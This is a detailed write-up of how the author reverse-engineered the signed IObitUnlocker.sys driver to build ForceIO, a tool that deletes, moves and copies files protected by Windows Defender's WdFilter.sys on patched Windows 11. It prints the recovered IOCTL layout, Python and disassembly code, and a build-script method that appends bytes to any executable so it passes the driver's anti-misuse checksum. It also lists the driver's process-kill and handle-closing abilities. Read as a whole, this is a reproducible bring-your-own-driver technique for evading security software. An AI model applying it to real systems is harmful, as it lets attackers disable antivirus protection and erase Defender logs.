Author: Marek Wesołowski (WESMAR)
Date: 25 June 2026
Target: Windows 11 Pro 26H1, build 28000, fully patched
Driver: IObitUnlocker.sys v1.3.0.10, signed by Microsoft Windows Hardware Compatibility Publisher (2022-08-17)
PL: Pełny reverse engineering sterownika IObitUnlocker.sys — odzyskanie protokołu IOCTL, złamanie walidacji checksum callera, korekta błędnie rozpoznanych kodów operacji i budowa standalone narzędzia ForceIO (czyste C, bez CRT) do usuwania oraz przenoszenia plików i katalogów chronionych przez minifiltr WdFilter.sys na Windows 11 28000. Write-up dokumentuje cały proces łącznie ze ślepymi uliczkami.
EN: Full reverse engineering of the IObitUnlocker.sys WHCP-signed kernel driver — IOCTL protocol extraction, buffer layout correction, caller checksum validation bypass, operation-code correction, and a standalone no-CRT tool (ForceIO) for deleting, copying, and moving files and directories protected by the WdFilter.sys minifilter on Windows 11 28000. This writeup documents the entire process including dead ends.
Abstract
This document records the full reverse engineering of the IObitUnlocker.sys kernel driver — from the initial discovery of its minifilter-bypass capability, through several wrong turns in the IOCTL protocol, to the construction of a standalone tool called ForceIO that can delete, copy, and move files or directories protected by WdFilter.sys on a live, fully patched Windows 11 system.
A note on terminology
In the security literature, "BYOVD" (Bring Your Own Vulnerable Driver) typically refers to drivers with memory safety vulnerabilities — arbitrary read/write primitives exploitable from user mode. IObitUnlocker.sys is not vulnerable in that sense. It is an overpowered signed driver: it exposes legitimate but excessively powerful kernel-mode file operations through a weakly guarded IOCTL interface. The distinction matters — this driver does not appear on the Microsoft Vulnerable Driver Blocklist or in the LOLDrivers project (June 2026). It loads normally on systems with HVCI and Driver Signature Enforcement enabled. I use "BYOVD" loosely because the exploitation pattern — loading a signed third-party driver to gain kernel capabilities — follows the same ATT&CK technique (T1068).
A more precise term might be BYOPD — Bring Your Own Overpowered Driver — describing signed drivers that are not exploitable in the memory-safety sense, but expose excessively powerful kernel primitives through a weakly guarded interface.
The investigation established six results:
-
The IOCTL protocol. The driver exposes exactly two IOCTL codes (
0x222124for file operations,0x222128for handle queries) through a 0x428-byteMETHOD_BUFFEREDbuffer. The buffer layout documented in my initial analysis was incorrect — the corrected layout placesSourcePathat offset+0x000,DestPathat+0x210,OperationTypeat+0x420, andFlagsat+0x424. -
The anti-BYOVD validation. The driver reads the calling process's entire executable image from disk via
ZwQueryInformationProcess(ProcessImageFileName)→ZwCreateFile→ZwReadFile, and computes two checksums: a byte-wise XOR (== 0x2B) and an alternating add/subtract accumulator (== 0x00A88677). If either check fails, the driver returnsSTATUS_INVALID_PARAMETER(0xC000000D) without processing the IOCTL. This validation exists atIObitUnlocker.sys+0x3DC7. -
The bypass. Appending correction bytes to the compiled executable satisfies both checksum constraints without modifying the driver binary. The driver's Microsoft WHCP signature remains valid. The build script (
build.ps1) automates the computation and patching. -
The real operation map. The final mapping is not what the first DLL pass suggested:
OperationType=1deletes,2is a flawed raw-IRP rename path,3performs a driver-side move/cut (copy plus source delete), and4performs copy without deleting the source. This distinction was the key to making directory move work. -
The capabilities. The driver provides kernel-mode file delete, move/cut, copy, directory recursion, process termination (
ZwTerminateProcess), and foreign handle closure (ZwDuplicateObjectwithDUPLICATE_CLOSE_SOURCE). The operations are exposed through a weakly guarded IOCTL interface and can bypass protection that blocks normal user-mode file APIs. -
The tool. ForceIO is a standalone PE32 executable compiled with
/NODEFAULTLIB(no C runtime), using onlykernel32,advapi32, andcabinetimports. The signed driver binary is LZX-compressed into a CAB archive appended to the application icon — at runtime, FDI decompresses it in memory and writes it to%SystemRoot%\forceio.dat. Each file operation runs a fully atomic driver session: create SCM service → start → execute IOCTL → stop → delete service → remove driver file. The service never persists in the registry between operations. No IObit DLL, no IObit EXE, no bloatware.
I'm writing this in chronological order, including the dead ends, because the failures are as instructive as the successes — each one revealed a constraint that shaped the final design.
1. Motivation
On the MyDigitalLife forum, user adric reported that cmdt.exe (my TrustedInstaller elevation tool) cannot delete Windows Defender log files:
C:\ProgramData\Microsoft\Windows Defender\Scans\History\Service>cmdt_x64.exe -cli del *.log
Result: Access denied. TrustedInstaller elevation does not help because the restriction is enforced in the kernel, not by ACL or token checks. The file in question — Unknown.Log — is protected by WdFilter.sys, the Windows Defender minifilter driver, which intercepts I/O requests at a Filter Manager altitude above the file system.
I had been maintaining the kvcstrm custom driver for god-mode kernel primitives, but it is unsigned. I wanted a signed alternative for situations where my own driver infrastructure is unavailable. The IObit Unlocker program ships a free, WHCP-signed driver (IObitUnlocker.sys) that performs exactly this class of operation — force-deleting locked and protected files from kernel mode. The question was whether I could extract the driver protocol and build a standalone tool that uses only the .sys file, without any IObit usermode binaries.
1.1 Why not just use the IObit GUI?
The official IObit installer is frequently criticized for bundling potentially unwanted programs (PUPs). It relies on pre-checked, easy-to-miss checkboxes that can silently install third-party utilities like VPNs or screen recorders if you do not carefully opt out. Once deployed, the standard setup registers browser extensions, context menu integrations, an auto-updater service, and telemetry infrastructure that phones home. For my use case — a surgical file deletion from an admin command prompt — I wanted a clean, standalone solution that avoids bundled software and speaks to the driver directly.
1.2 The BYOVD approach
The strategy:
- Extract the signed
.sysdriver from the IObit installation. - Reverse-engineer the IOCTL protocol.
- Write a standalone client that loads the driver via
sc create/sc startand sends the appropriateDeviceIoControlcall. - Delete the target file.
The driver retains its original Microsoft signature. No driver modification needed. The usermode tool is our own code — no IObit dependency.
e.g. Remove-Item] -->|CreateFileW / NtSetInformationFile| B(I/O Manager) B --> C{WdFilter.sys
minifilter callback} C -->|protected path| D[ACCESS DENIED] C -->|normal path| E[NTFS completes I/O] F[ForceIO.exe] -->|DeviceIoControl
IOCTL 0x222124| G(IObitUnlocker.sys) G -->|ZwCreateFile + ZwSetInformationFile
kernel-mode, below minifilter| H[NTFS completes I/O] style D fill:#f66,stroke:#333,color:#fff style H fill:#6f6,stroke:#333,color:#000
2. Test Environment
| Item | Value |
|---|---|
| OS | Windows 11 Pro 26H1, build 28000, fully patched |
| Driver | IObitUnlocker.sys v1.3.0.10 (x64, AMD64) |
| PDB path | d:\worker\huoqi\zhanghaitaosvn\project\driver\other\iobitunlocker\unlocker\driver\bin\Win7\amd64\IObitUnlocker.pdb |
| Driver SHA256 | (from PDB header — original development path reveals Chinese origin) |
| Certificate | Microsoft Windows Hardware Compatibility Publisher, 2022-08-17 |
| DLL | IObitUnlocker.dll (32-bit, PE32, Visual C++) |
| EXE | IObitUnlocker.exe (32-bit, GUI) |
| Tools | IDA Pro 9.1, CDB (Windows SDK 10.0.28000), Visual Studio 2026 Enterprise, Python 3.x, NASM |
3. Phase 1 — Initial Static Analysis of the DLL
I began with the usermode DLL rather than the kernel driver, because the DLL is the natural starting point — it contains the CreateFileW and DeviceIoControl calls that define the communication protocol from the client side.
3.1 Exported functions
IDA disassembly of IObitUnlocker.dll revealed six exports:
| Export | Purpose |
|---|---|
DriverStart |
Install SCM service, start driver, open device handle |
DriverStop |
Stop SCM service |
DriverUninstall |
Remove SCM service |
DriverDumpInfo |
Query handle owners (IOCTL 0x222128) |
DriverUnlockFile |
File operations (IOCTL 0x222124) |
DriverEndSelf |
Close IObit Unlocker window via EnumWindows + WM_CLOSE |
3.2 Device identification
push offset FileName ; "\\\\.\\IObitUnlockerDevice"
call ds:CreateFileW
The DLL opens the device with dwDesiredAccess = 0xC0100000 (GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE), dwShareMode = 3 (FILE_SHARE_READ | FILE_SHARE_WRITE), dwCreationDisposition = OPEN_EXISTING.
3.3 IOCTL codes
Two IOCTL codes, both METHOD_BUFFERED, FILE_ANY_ACCESS:
#define IOCTL_ULK_OPERATION CTL_CODE(0x22, 0x849, METHOD_BUFFERED, FILE_ANY_ACCESS) // = 0x00222124
#define IOCTL_ULK_QUERY_HANDLES CTL_CODE(0x22, 0x84A, METHOD_BUFFERED, FILE_ANY_ACCESS) // = 0x00222128
Both use nInBufferSize = 0x428 (1064 bytes).
3.4 Tracing the buffer construction
In sub_10001BF0 (called by DriverUnlockFile), the buffer is allocated and filled:
push 428h ; Size
call ??2@YAPAXI@Z ; operator new(0x428)
mov esi, eax ; esi = buffer base
; Zero entire buffer
push 428h
push 0
push esi
call _memset
; Set operation type and flags — AFTER zeroing
mov eax, [ebp+BytesReturned] ; actually the operation type parameter
or edi, 3 ; flags |= 3
mov [esi+420h], eax ; buffer[0x420] = operation type
mov [esi+424h], edi ; buffer[0x424] = flags | 3
; Copy source path to buffer START (offset 0!)
push eax ; size (max 0x210)
push ebx ; source path string
push esi ; buffer base ← offset 0x000, NOT 0x010!
call _memcpy
And for the destination path (rename/copy operations):
lea ebx, [esi+210h] ; dest path at buffer + 0x210
push edi ; source (dest path string)
push ebx ; buffer + 0x210
call _memcpy
3.5 The buffer layout
// CORRECT — from DLL disassembly
typedef struct _ULK_BUFFER {
WCHAR SourcePath[264]; // +0x000 (0x210 bytes, null-terminated)
WCHAR DestPath[264]; // +0x210 (0x210 bytes)
ULONG OperationType; // +0x420
ULONG Flags; // +0x424 (DLL always ORs with 0x3)
} ULK_BUFFER; // Total: 0x428 (1064 bytes)
The path fields occupy 264 WCHARs each (528 bytes), not 260. The operation type is at +0x420, not +0x000. The Source string constant in the DLL data section turned out to be simply L"\\" — a single backslash used for path normalization when the input is a bare drive letter like C:.
3.6 Operation type codes — first pass and final correction
From the DLL's normalisation logic, operations 3 and 4 looked at first like "copy file" and "copy directory". That was only half-true. The final driver-side behaviour is:
| Code | Operation | Needs DestPath |
|---|---|---|
| 1 | Delete | No |
| 2 | Raw rename | Yes |
| 3 | Move / cut | Yes |
| 4 | Copy | Yes |
The important correction is 3 vs 4: OperationType=3 is not a pure copy. It copies data through the driver and deletes the source afterwards. OperationType=4 is the true copy path and leaves the source intact.
This mistake mattered. A naive rename fallback implemented as "copy then delete" produced ERROR_DIR_NOT_EMPTY (145) on a protected Defender directory because the user-mode enumeration path could not see or remove everything. Switching the fallback to the driver's own OperationType=3 made the directory move succeed.
4. Phase 2 — Driver Kernel Imports and Capabilities
The driver's PE import table (single import from ntoskrnl.exe) reveals the full capability set. I reconstructed the Import Address Table by parsing the PE Import Directory at RVA 0xA084 using CDB:
cdb -z IObitUnlocker.sys -c "da IObitUnlocker+<hint_rva>; q"
4.1 Full IAT mapping
| IAT offset | Function | Category |
|---|---|---|
+0x7000 |
ExAllocatePoolWithTag |
Memory |
+0x7010 |
ExFreePoolWithTag |
Memory |
+0x7018 |
IoDeleteDevice |
Device lifecycle |
+0x7020 |
IofCompleteRequest |
IRP completion |
+0x7028 |
IoCreateSymbolicLink |
Device lifecycle |
+0x7030 |
IoCreateDevice |
Device lifecycle |
+0x7038 |
_wcsnicmp |
String |
+0x7040 |
ZwReadFile |
File I/O |
+0x7048 |
IoGetRelatedDeviceObject |
IRP routing |
+0x7050 |
MmGetSystemRoutineAddress |
Dynamic import |
+0x7058 |
KeInitializeEvent |
Synchronization |
+0x7060 |
ExInterlockedPopEntryList |
Interlocked list |
+0x7068 |
KeDelayExecutionThread |
Retry delay |
+0x7070 |
IoFileObjectType |
Object type for ObRef |
+0x7078 |
ZwWaitForSingleObject |
Synchronization |
+0x7080 |
ZwCreateFile |
File open |
+0x7088 |
ExAllocatePool |
Memory (legacy) |
+0x7090 |
IoGetCurrentProcess |
Process context |
+0x7098 |
ZwClose |
Handle close |
+0x70A0 |
ObReferenceObjectByHandle |
Handle → object |
+0x70A8 |
KeWaitForSingleObject |
Synchronization |
+0x70B0 |
RtlCompareUnicodeString |
String |
+0x70B8 |
IoAllocateIrp |
Raw IRP construction |
+0x70C0 |
ObfDereferenceObject |
Object deref |
+0x70C8 |
ZwQueryInformationFile |
File info |
+0x70D0 |
ZwWriteFile |
File I/O (copy) |
+0x70D8 |
ObOpenObjectByPointer |
Object → handle |
+0x70E0 |
DbgPrint |
Debug logging |
+0x70E8 |
IofCallDriver |
Direct IRP dispatch |
+0x70F0 |
_wcsicmp |
String |
+0x70F8 |
PsGetProcessPeb |
Process info |
+0x7100 |
PsLookupProcessByProcessId |
PID → EPROCESS |
+0x7108 |
RtlInitUnicodeString |
String |
+0x7110 |
KeSetEvent |
Synchronization |
+0x7118 |
RtlAppendUnicodeToString |
String |
+0x7120 |
IoCreateFile |
File open (kernel) |
+0x7128 |
ZwQuerySystemInformation |
System queries |
+0x7130 |
KeUnstackDetachProcess |
Process context |
+0x7138 |
ObQueryNameString |
Object name |
+0x7140 |
wcsrchr |
String |
+0x7148 |
ZwQueryDirectoryFile |
Directory enum |
+0x7150 |
_vsnwprintf |
Formatting |
+0x7158 |
RtlAppendUnicodeStringToString |
String |
+0x7160 |
ZwDuplicateObject |
Handle duplication |
+0x7168 |
IoFreeIrp |
IRP cleanup |
+0x7170 |
ZwOpenProcess |
Process open |
+0x7178 |
PsGetCurrentProcessId |
Current PID |
+0x7180 |
MmIsAddressValid |
Pointer validation |
+0x7188 |
ZwTerminateProcess |
Process kill |
+0x7190 |
ExInterlockedPushEntryList |
Interlocked list |
+0x7198 |
KeStackAttachProcess |
Process context attach |
+0x71A0 |
KeBugCheckEx |
Blue screen (critical) |
4.2 Key capabilities
The import table reveals seven distinct kernel primitives:
-
Force-delete —
ZwCreateFile(DELETE)→ZwSetInformationFile(FileDispositionInformation)→ZwClose. The file is marked for delete-on-close. If aSHARING_VIOLATIONoccurs, the driver retries withKeDelayExecutionThread. -
Raw rename — hand-built
IRP_MJ_SET_INFORMATIONwithFileRenameInformation. This path exists but is not reliable for normal Win32 destination paths; it returnedERROR_INVALID_NAMEin practical testing. -
Force-move / cut — driver-side copy followed by driver-side deletion of the source. This is the operation that made protected directory rename/move usable.
-
Force-copy —
ZwCreateFile(GENERIC_READ)source →ZwCreateFile(GENERIC_WRITE)destination →ZwReadFile/ZwWriteFileloop. This leaves the source intact. -
Directory recursion —
ZwQueryDirectoryFilewithFileDirectoryInformation, skip.,.., and$Extend\$RmMetadata\$TxfLog(NTFS transaction log). -
Process termination —
PsLookupProcessByProcessId→ZwTerminateProcess. Protected process list:System,csrss.exe,lsass.exe,lsm.exe,smss.exe,wininit.exe,winlogon.exe,userinit.exe,explorer.exe,IObitUnlocker.exe. -
Foreign handle closure —
ZwOpenProcess(PROCESS_DUP_HANDLE)→ZwDuplicateObjectwithDUPLICATE_CLOSE_SOURCE. This closes a file handle held by another process without killing it. -
Raw IRP construction —
IoAllocateIrp+IoGetRelatedDeviceObject+IofCallDriver. This is the mechanism used by the rename path and explains why its semantics differ from the higher-levelZwSetInformationFilepath.
4.3 Dynamically resolved import
The driver uses MmGetSystemRoutineAddress in DriverEntry to resolve ZwQueryInformationProcess, storing the function pointer at .data+0x8150. This avoids declaring the import in the PE import table (possibly for compatibility with older Windows versions where the export may not exist).
4.4 Driver logging
The driver writes operational logs to \Device\HarddiskVolume1\unlocker.log (or \SystemRoot\unlocker.log as fallback):
ULKDeleteFile: 0x%08x, %wZ
ULKDeleteDirectoryItSelf: 0x%08x, %wZ
ULKRenameFile: 0x%08x
ULKCopyFile: 0x%08x, %wZ, %wZ
create file 0x%08x, %wZ
process name: %ws
ZwTerminateProcess: 0x%08x
ZwDuplicateObject: ProcessID: %I64u, 0x%08x
5. Phase 3 — First Attempt: Direct DeviceIoControl from Python
Armed with the corrected buffer layout from Phase 1, I wrote a Python client using ctypes to call DeviceIoControl directly. The approach seemed straightforward:
h = kernel32.CreateFileW(r"\\.\IObitUnlockerDevice", 0xC0000000, 3, None, 3, 0, None)
buf = bytearray(0x428)
path = r"C:\Temp\test.txt"
buf[0:len(path.encode('utf-16-le'))] = path.encode('utf-16-le')
struct.pack_into('<I', buf, 0x420, 1) # OP_DELETE
struct.pack_into('<I', buf, 0x424, 3) # Flags
kernel32.DeviceIoControl(h, 0x222124, in_buf, 0x428, out_buf, 4, byref(ret), None)
5.1 Result: STATUS_INVALID_PARAMETER
Every single IOCTL call returned error 87 (ERROR_INVALID_PARAMETER), which maps to NTSTATUS 0xC000000D. Both IOCTL codes failed. Different buffer sizes, content variations, output buffer sizes — all returned the same error.
I confirmed the exact NTSTATUS by calling NtDeviceIoControlFile from ntdll.dll:
ntdll.NtDeviceIoControlFile(h, None, None, None, byref(iosb),
0x222124, byref(in_arr), 0x428, byref(out_arr), 4)
# → NTSTATUS = 0xC000000D
The device handle opened successfully (handle value 452 — a valid kernel object). The failure was in the IOCTL dispatch, not the device open.
5.2 Hypothesis: 64-bit vs 32-bit mismatch
The DLL is 32-bit (PE32). My Python was 64-bit. Could WOW64 cause buffer marshaling issues? For METHOD_BUFFERED, the I/O manager copies the buffer byte-for-byte regardless of caller bitness. This hypothesis was incorrect.
5.3 Hypothesis: process name validation
I renamed python.exe to IObitUnlocker.exe and ran the test again. Same error. The driver was not simply checking the process name.
6. Phase 4 — Driver Disassembly: The IOCTL Handler
Since the DLL-side protocol was correct but the driver rejected every call, I needed to disassemble the driver's IOCTL handler. Without symbols (PDB unavailable), I used CDB in offline mode:
cdb -z IObitUnlocker.sys -c "u IObitUnlocker+0x10d4 L60; q"
6.1 DriverEntry dispatch table
DriverEntry (at +0xA064) jumps to +0x10d4 after calling a runtime initialization stub at +0xA008. The dispatch table setup:
; rdi = DriverObject
mov qword ptr [rdi+68h], rax ; DriverUnload = +0x123C
lea rax, [IObitUnlocker+0x12b4]
mov qword ptr [rdi+0E0h], rax ; MajorFunction[14] = +0x12B4 (IRP_MJ_DEVICE_CONTROL)
lea rax, [IObitUnlocker+0x128c]
mov qword ptr [rdi+70h], rax ; MajorFunction[0] = +0x128C (IRP_MJ_CREATE)
mov qword ptr [rdi+80h], rax ; MajorFunction[2] = +0x128C (IRP_MJ_CLOSE — same handler)
6.2 IOCTL dispatch at +0x12B4
The handler reads the IO_STACK_LOCATION:
mov rax, [rdx+0B8h] ; Irp->Tail.Overlay.CurrentStackLocation
mov ecx, [rax+18h] ; Parameters.DeviceIoControl.IoControlCode
mov r13d, [rax+8] ; Parameters.DeviceIoControl.OutputBufferLength
Default status is set to STATUS_INVALID_PARAMETER:
mov r15d, 0C000000Dh ; STATUS_INVALID_PARAMETER
mov [rdx+30h], r15d ; Irp->IoStatus.Status = 0xC000000D
IRQL check (must be PASSIVE_LEVEL for usermode IOCTL dispatch):
mov rax, cr8 ; read IRQL from CR8
cmp al, bl ; bl = 0 (PASSIVE_LEVEL)
jne completion ; fail if not PASSIVE
IOCTL routing:
sub ecx, 222124h ; check first code
je operation_handler ; → +0x14A7
cmp ecx, 4 ; 0x222128 - 0x222124 = 4
jne completion ; anything else → fail
; fall through to query handler
6.3 Buffer access from SystemBuffer
Both handlers read the buffer from Irp->AssociatedIrp.SystemBuffer at [rdi+18h]:
; Operation handler (+0x14A7):
mov r12, [rdi+18h] ; r12 = SystemBuffer
mov r13d, [r12+420h] ; OperationType at +0x420
mov r14d, [r12+424h] ; Flags at +0x424
This confirmed the DLL-side buffer layout from Phase 1 was correct. The driver reads OperationType from +0x420 and Flags from +0x424. The source path starts at +0x000.
6.4 The validation gate
Both IOCTL handlers call a validation function at +0x3CB0 before accessing the buffer:
call IObitUnlocker+0x3cb0 ; validation
cmp eax, ebx ; check NTSTATUS >= 0
jl completion ; fail → default STATUS_INVALID_PARAMETER
If validation returns a negative NTSTATUS, the IOCTL handler bails immediately. This is where my Python calls were dying.
6.5 The operation switch
After validation, the file-operation handler dispatches on OperationType at buffer offset +0x420:
sub r8d, 1
je delete_path ; OperationType = 1
sub r8d, 1
je raw_rename_path ; OperationType = 2
sub r8d, 1
je move_cut_path ; OperationType = 3
cmp r8d, 1
je copy_path ; OperationType = 4
The first implementation of ForceIO treated OperationType=3 as copy because the DLL-side code looked like a copy helper and because the driver imports ZwReadFile / ZwWriteFile. That was wrong. A direct test showed the source disappears after OperationType=3; therefore it is a move/cut operation. OperationType=4 is the true copy operation.
6.6 The rename trap
The raw rename path (OperationType=2) opens the source and manually builds an IRP_MJ_SET_INFORMATION request containing FILE_RENAME_INFORMATION. It then calls IofCallDriver directly. That is clever, but it misses part of what the I/O Manager normally does for ZwSetInformationFile: resolving the target directory and setting up the file object context expected by the filesystem.
The symptom was consistent:
ForceIO.exe rename C:\...\aaa.txt C:\...\bbb.txt
[-] Failed, error=123 (0x0000007B) ; ERROR_INVALID_NAME
Changing the destination format did not fix it. I tried normal Win32 paths, \??\C:\..., volume-relative paths, and full NT device paths. The reliable solution was not to force OperationType=2; it was to keep it as a first attempt and fall back to the driver's own OperationType=3 move/cut path.
7. Phase 5 — The Anti-BYOVD Validation
This was the core of the investigation. The validation function at +0x3CB0 implements a caller-verification mechanism designed to prevent third-party tools from using the driver.
ProcessImageFileName = 27] C --> D[ZwCreateFile
open caller's EXE on disk] D --> E[ZwReadFile
read entire EXE into pool] E --> F[Compute XOR checksum
byte-wise XOR of all bytes] E --> G[Compute ALT checksum
alternating add/sub] F --> H{XOR == 0x2B?} G --> I{ALT == 0x00A88677?} H -->|no| J[STATUS_UNSUCCESSFUL
0xC0000001] I -->|no| J H -->|yes| I I -->|yes| K[STATUS_SUCCESS
proceed to IOCTL handler] style J fill:#f66,stroke:#333,color:#fff style K fill:#6f6,stroke:#333,color:#000
7.1 Step 1: Get caller's process image path
call qword ptr [+0x7090] ; IoGetCurrentProcess() → EPROCESS
; Check if ZwQueryInformationProcess was resolved
cmp qword ptr [+0x8150], rsi ; NULL check
je skip_process_check
; Open the process to get a handle
mov rcx, rax ; Object = EPROCESS
mov edx, 200h ; HandleAttributes = OBJ_KERNEL_HANDLE
call qword ptr [+0x70D8] ; ObOpenObjectByPointer(EPROCESS, ...)
7.2 Step 2: Query process image filename
The inner function at +0x3A14 calls the dynamically-resolved ZwQueryInformationProcess:
lea edx, [r9+1Bh] ; ProcessInformationClass = 27 = ProcessImageFileName
mov rcx, rsi ; ProcessHandle
call rax ; ZwQueryInformationProcess(handle, 27, NULL, 0, &needed)
cmp eax, 0C0000004h ; STATUS_INFO_LENGTH_MISMATCH → got required size
After determining the required buffer size, it allocates pool with tag 'NELR', calls ZwQueryInformationProcess again to get the full path (e.g., \Device\HarddiskVolume3\Projekty\ForceIO\bin\ForceIO.exe), and copies it to the output buffer.
7.3 Step 3: Open and read the caller's executable
Function +0x3AF0 receives the process image path as a UNICODE_STRING and:
- Calls
ZwCreateFilewithDesiredAccess = GENERIC_READ,CreateOptions = FILE_NON_DIRECTORY_FILE. - Calls
ZwQueryInformationFile(FileStandardInformation)to get the file size. - If size > 3 MB, handles it differently (truncation or skip).
- Allocates a pool buffer of the file's
EndOfFilesize with tag'NELR'. - Calls
ZwReadFileto read the entire executable into kernel memory.
7.4 Step 4: Compute two checksums
The driver computes two checksums over the raw bytes of the executable image:
Checksum 1 — XOR accumulator:
; rdi = file buffer, r8 = file size, esi = 0 (initial)
xor_loop:
movzx eax, byte ptr [rcx]
inc r11d
inc rcx
xor esi, eax ; esi ^= byte
cmp rax, r8
jb xor_loop
mov [rbp], esi ; store result
Checksum 2 — alternating add/subtract:
; edx = 0 (index), ebx = 0 (initial)
alt_loop:
movzx eax, byte ptr [rcx]
test dl, 1 ; index & 1?
jne subtract
add ebx, eax ; even index: accumulator += byte
jmp next
subtract:
sub ebx, eax ; odd index: accumulator -= byte
next:
inc edx
inc rcx
cmp rax, r8
jb alt_loop
mov [r12], ebx ; store result
7.5 Step 5: The hardcoded comparison
This is the money shot, at +0x3DC7:
cmp dword ptr [rsp+70h], 2Bh ; XOR checksum == 0x2B?
jne fail ; → return STATUS_UNSUCCESSFUL
cmp dword ptr [rsp+78h], 0A88677h ; ALT checksum == 0x00A88677?
jne fail ; → return STATUS_UNSUCCESSFUL
xor eax, eax ; return STATUS_SUCCESS
jmp return
fail:
mov eax, 0C0000001h ; STATUS_UNSUCCESSFUL
The driver hardcodes two magic constants: 0x2B and 0x00A88677. These are the XOR and alternating checksums of the original IObitUnlocker.exe binary (2,699,584 bytes). Any calling process whose executable does not produce these exact values is rejected.
7.6 Verification
def checksums(data):
xor_s, alt_s = 0, 0
for i, b in enumerate(data):
xor_s ^= b
alt_s += b if i % 2 == 0 else -b
return xor_s & 0xFF, alt_s & 0xFFFFFFFF
with open('IObitUnlocker.exe', 'rb') as f:
data = f.read()
print(checksums(data)) # → (0x2B, 0x00A88677) ✓
8. Phase 6 — Failed Bypass Attempts
Before finding the checksum solution, I tried several approaches that failed. Each failure is documented because they illuminate the validation mechanism.
8.1 Attempt: Rename Python to IObitUnlocker.exe
I copied python.exe to C:\Temp\IObitUnlocker.exe and ran the test script:
C:\Temp\IObitUnlocker.exe test_ioctl.py
→ ERROR 87 (STATUS_INVALID_PARAMETER)
Why it failed: The driver does not check the filename — it reads the file content and computes checksums. A differently-compiled binary with the same name fails.
8.2 Attempt: 32-bit DLL wrapper (ulk_client.exe)
I compiled a 32-bit C program using Visual Studio that loads IObitUnlocker.dll and calls DriverUnlockFile directly:
HMODULE hDll = LoadLibraryW(L"IObitUnlocker.dll");
pfnDriverStart pStart = (pfnDriverStart)GetProcAddress(hDll, "DriverStart");
pStart(); // returns 1 (success)
pUnlock(path, NULL, 1, 0, &result); // returns 87!
DriverStart succeeded (returned 1, device handle opened). But DriverUnlockFile returned error 87.
Why it failed: The DLL calls DeviceIoControl from within our process context. The driver's IoGetCurrentProcess() returns our process (ulk_client.exe), not IObitUnlocker.exe. The driver reads ulk_client.exe from disk, computes its checksums, and rejects it.
8.3 Attempt: 32-bit PowerShell + C# interop
Considered using C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe with Add-Type to compile inline C# that P/Invokes the DLL. Abandoned this path when I realized the same caller-validation issue would apply regardless of which language makes the DeviceIoControl call.
8.4 Attempt: DLL injection into IObitUnlocker.exe
The idea: start the real IObitUnlocker.exe, inject our code via CreateRemoteThread, and have it call DriverUnlockFile from within the legitimate process context. This would work — the driver reads IObitUnlocker.exe from disk and the checksums match.
I did not pursue this because I found a simpler solution: the checksum bypass.
9. Phase 7 — The Checksum Bypass
The insight was that the checksums are simple linear functions over the byte stream. Appending additional bytes to the executable changes both checksums in a predictable way. Since the PE loader ignores data after the last PE section, appended bytes do not affect execution.
ForceIO.vcxproj] --> B[ForceIO.exe
~64 KB] B --> C[Compute checksums
XOR=0x77, ALT=0xFFFFA967] C --> D[Calculate delta
Δ_ALT ≈ 11M] D --> E["Append ~43K pairs
[0xFF, 0x00]"] E --> F["Append 4 correction bytes
[b0, b1, b2, b3]"] F --> G[Verify
XOR=0x2B ✓
ALT=0x00A88677 ✓] G --> H[ForceIO.exe
~150 KB
driver accepts] style B fill:#faa,stroke:#333,color:#000 style H fill:#6f6,stroke:#333,color:#000
9.1 Mathematical model
For a file of N bytes b[0], b[1], ..., b[N-1]:
XOR = b[0] ⊕ b[1] ⊕ ... ⊕ b[N-1]ALT = b[0] - b[1] + b[2] - b[3] + ...(even indices add, odd indices subtract)
Appending a pair [a, b] at positions N (even), N+1 (odd):
XOR_new = XOR_old ⊕ a ⊕ bALT_new = ALT_old + a - b
9.2 Correction strategy
- Compute current checksums of the compiled EXE.
- Calculate the ALT difference:
Δ_ALT = TARGET_ALT - current_ALT. - Append
⌊Δ_ALT / 255⌋pairs of[0xFF, 0x00]— each adds 255 to ALT and XORs the accumulator by0xFF. - Find 4 final bytes
[b0, b1, b2, b3]that satisfy the remaining ALT correction and XOR correction simultaneously. - Verify both checksums match the targets.
9.3 The 4-byte search
The final correction requires:
b0 ⊕ b1 ⊕ b2 ⊕ b3 = XOR_fixb0 - b1 + b2 - b3 = ALT_remainder
This is a system of two equations in four unknowns with byte-range constraints (0 ≤ bᵢ ≤ 255). The search space is 256⁴ but can be decomposed into 256² × 256 with early pruning — typically runs in under a second.
9.4 Build script automation
The build.ps1 script automates the entire process:
# Compile through MSBuild
MSBuild.exe src\ForceIO.vcxproj /p:Configuration=Release;Platform=Win32
# Compute current checksums
$cs = Get-Checksums -Data $data
# Current: XOR=0x77 ALT=0xFFFFA967
# Target: XOR=0x2B ALT=0x00A88677
# Calculate and append correction bytes
# Bulk pairs: 43398, remainder: 150
# Correction bytes: [32, 3, 124, 3]
# Verify
# Patched: 150800 bytes (appended 86800 bytes)
# ✓ XOR=0x2B ALT=0x00A88677
The appended data is roughly 87 KB of [0xFF, 0x00] padding plus four correction bytes. This is PE overlay data; the Windows loader ignores it, but the driver checksum loop reads it from disk.
9.5 Why the padding is irreducible
The ~87 KB overhead is not an implementation shortcoming — it is the mathematical minimum. The compiled ForceIO binary produces an ALT checksum near 0xFFFFB400 (a large negative value in unsigned 32-bit space). The target is 0x00A88677. The unsigned modular distance is approximately 0x00A8D277 ≈ 11,064,951. Each [0xFF, 0x00] pair contributes +255 to the ALT accumulator without disturbing the XOR constraint (since 0xFF ⊕ 0x00 = 0xFF, and an even count of such pairs cancels out). This requires ⌈11,064,951 / 255⌉ ≈ 43,392 pairs = 86,784 bytes of padding.
No alternative byte pattern can close the gap faster:
- A single even-position byte adds at most +255 to ALT.
- A single odd-position byte subtracts at most −255 (adding 255 when the gap is positive means using
0x00at odd positions). - The pair
[0xFF, 0x00]is already the maximum-efficiency correction unit.
This was verified by exhaustive analysis: there is no 2-byte or 4-byte solution that satisfies both XOR and ALT constraints simultaneously for a gap of ~11 million. The bulk padding is the only path, and it runs in a single linear pass — no brute force, no iteration. Only the final 4-byte corrector requires a search (decomposed to 256² × 256 with pruning, completes in milliseconds).
The result is a PE overlay that is mathematically minimal, deterministic, and reproducible across builds. The Windows PE loader ignores overlay data entirely — it is never mapped into memory, never executed, and has no effect on runtime behaviour. The driver, however, reads the file from disk via ZwReadFile and checksums every byte including the overlay.
